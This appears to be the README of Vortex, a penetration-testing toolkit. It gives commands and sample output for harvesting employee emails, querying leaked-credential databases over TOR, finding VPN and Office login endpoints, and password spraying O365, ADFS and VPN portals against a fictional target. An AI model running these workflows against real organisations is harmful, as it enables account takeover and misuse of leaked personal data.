Vortex : VPN Overall Reconnaissance, Testing, Enumeration And exploitation Toolkit


Vortex is a VPN Overall Reconnaissance, Testing, Enumeration and Exploitation Toolkit


A very simple Python framework, inspired by SprayingToolkit, that tries to automate most of the process required to detect, enumerate and attack common O365 and VPN endpoints (like Cisco, Citrix, Fortinet, Pulse, etc…).

Why I developed it

Make the VPN spraying phase much quicker and easier. Also, due to its flexibility, this tool can be added to an existing OSINT workflow pretty easily.

What the tool can do for you

Vortex mainly provide assistance with performing the following tasks:

  • User Search and Collection
    • LinkedIn
    • Google
    • PwnDB
  • Password Leaks
    • PwnDB
  • Main Domain Identification
    • OWA
    • S4B/Lynk
    • ADFS
  • Subdomain Search
    • Enumeration
    • Bruteforce
  • VPN Endpoint Detection
  • Password Spraying/Guessing attacks
    • O365
    • Lynk/S4B
    • ADFS
    • IMAP
    • VPNs
      • Cisco
      • Citrix
      • FortiNet
      • Pulse Secure
      • SonicWall
  • Search profiles on Social Networks
    • Instagram
    • Facebook
    • Twitter
    • TikTok
    • Onlyfans


Install the pre-requisites with pip3 as follows:

sudo -H pip3 install -r requirements.txt

Install with Virtualenv

Otherwise, you can install the pre-requisites using a virtual environment:

On Windows

virtualenv venv
pip install -r requirements.txt

On Linux

python3 -m virtualenv venv
source venv/bin/activate
pip install -r requirements.txt


Using the tool is pretty straight forward, but there is a workflow to respect. The tool uses as SQLite database to store information about the current attack.


The workspace represents the database file used by the tool. The name should be just a simple name to label the current attack, project or target.

To each workspace is assigned one SQLite database. When you specify a workspace name, such as:

python manage.py -w workspace1

What you’re actually saying is “I want to operate on the workspace1.db file”.

Workspace Initialisation

In order to work properly, Vortex needs to initialise the DB with the correct schemas. To do that, the only thing to do is executing the command:

python manage.py -w workspace1 db -c init

If a user tries to skip this phase, Vortex will just print to screen the correct command to launch first.

[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init

Instead, when running the same command against an existing, initialised DB, Vortex will ask for confirmation before overwrite the DB file:

[-] The DB file exists and it was initialised, overwrite?
[y|n] $> y

Actions and commands

Vortex works with one positional argument, the ‘Action’, and other keyed values.

The most important among them is the command argument (-c cmd). In combination with the action value, the command define what Vortex should do.

It is possible to see the list of supported actions from the Help:

python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
Action to execute
optional arguments:
-h, –help show this help message and exit
Workspace to use
-c COMMAND, –command COMMAND
Command for the action
Domain under attack
Company under attack
Location of the company under attack (IE, UK, US, …)
-u URL, –url URL VPN Endpoint Origin (schema://domain:port)
Target Endpoint Type
-U USER, –user USER User name
-E EMAIL, –email EMAIL
User email
-N NAME, –name NAME User full name
-R ROLE, –role ROLE User job
-s SQL, –sql SQL SQL statement
Export file
Produce an Excel safe CSV
-nh, –no-headers Remove CSV headers
Search keywords
Password file for spraying
-L, –leaks Use leaks for spraying
Import file

Dynamic argument inputting

As observable from the help, the list of supported commands per action is not specified anywhere. This is because is not necessary to specify a command directly. Indeed, if a command is not specified, Vortex will ask the user to select one among the commands available for the specified action.

python manage.py -w workspace1 db

[*] Select a command:
0 : init
1 : sql
2 : add-endpoint
3 : add-user
4 : drop-user
5 : truncate-table
6 : export

The same applies for argument needed by a specific routine. If an argument is difficult to be inputted at runtime, Vortex will kindly remind the user that the parameter is required. Otherwise, Vortex will guide the user into selecting or inputting the necessary arguments.

For example, if a user wanted to export a specific table or even a column, the only required thing would be to launch the export command, as observable from the image, below:

General Workflow

Vortex has been designed to adhere to a specific operation workflow, summarized in the below schema:


Collect users

Collect valid users for a specific target can be done using three different sources:


This source has been removed for infringement of LinkedIn user policies. You can still operate on LinkedIn using GoMapEnum, and then import the email addresses using the import command.

Again, please be aware that using this functionality is a breach of the LinkedIn user agreement, as observable at point 8.2 of the LinkedIn user agreement:

You agree that you will not: […] 2. Develop, support or use software, devices, scripts, robots or any other means or processes (including crawlers, browser plugins and add-ons or any other technology) to scrape the Services or otherwise copy profiles and other data from the Services;


To partially replace the above functionality, the tool embeds an adapted version of CrossLinked. This tool will try to detect employees of a company using Google and Bing. It’s certainly not the same as directly searching on LinkedIn, but it’s pretty useful.

In order to operate correctly, the tool will ask the user which format should be used for usernames (i.e. john.doe, j.doe or d.john) and which is the standard domain used by the target domain.


This source is operated using a stripped, modified version of the Harvester. The tool will try to extract names/e-mails from Google (Passive Gathering) using Google Dorks, and from the company website (Active Gathering).

python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google Searching for emails NOT within the domain’s site: evilcorp.com -site:evilcorp.com
Searching for emails within the domain’s sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ [+] 2 unique emails found: elliot.alderson@evilcorp.com tyrell.wellick@evilcorp.com [>] Found 2 mail [] Updating DB …
[+] Done!

  • PwnDB

This source is operated using a ported version of the one implemented in sn0int.

Note: this functionality requires to be connected to the TOR network. On Windows, it is possible to use the embedded version provided with Vortex. On Linux, instead, it is necessary to install the tor package (i.e. sudo apt-get install tor on Kali).

Start TOR

python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect

Enumerate on on PwnDB

python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB …
[+] Done!

Stop TOR

python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser

Collect endpoints

Vortex uses mainly two macro-categories for endpoints: VPN and Microsoft (Office) endpoints. A target can be added both as an Office or VPN endpoint, and Vortex will try and validate the endpoint as an Office, or VPN endpoint, respectively, using a range of validators.

Add an office endpoint

Let’s make it clear with an example. The user needs to attack the target evilcorp.com, and want to check whether the domain is an OWA, Lync, ADFS, or O365 target.

python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally
[+] evilcorp.com is a valid OWA target!
[-] evilcorp.com does not seem a valid LYNK target
[-] evilcorp.com does not seem a valid ADFS target
[-] evilcorp.com does not seem a valid IMAP target
[+] evilcorp.com is a valid O365 target!

Search subdomains for VPN endpoints

For VPN endpoints, the user can perform a subdomain search in order to find hosts running VPN Web Logins, like this:

[] Starting subdomain passive enumeration [>] Found 10 subdomains [$] Elapsed time: 18.360117197036743 [] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[] Trying to detect hosts with VPN web-login [>] Found 1 hosts with a VPN web login [$] Elapsed time: 32.919618368148804 [] Updating DB…
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done

Manually add a VPN endpoint

To manually add VPN endpoints, of course, specifying the top level domain would probably not be enough. The correct way would be to specify a specific subdomain along with the specific port the VPN Web Server is running on.

python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!

Perform a password spray or bruteforce attack against OWA, ADFS, LYNC, or O365

To perform a password spray or even bruteforce attack, the only required resource is a password list in the form of a text file, with one password per line.

[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : owa 1 : lync 2 : imap 3 : adfs 4 : o365 5 : all $> 4 [] Running O365Enumerator
[-] elliot.alderson@evilcorp.com:MrRobot2021! is not valid.
[+] tyrell.wellick@evilcorp.com:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db…
[+] Done


Please enter your comment!
Please enter your name here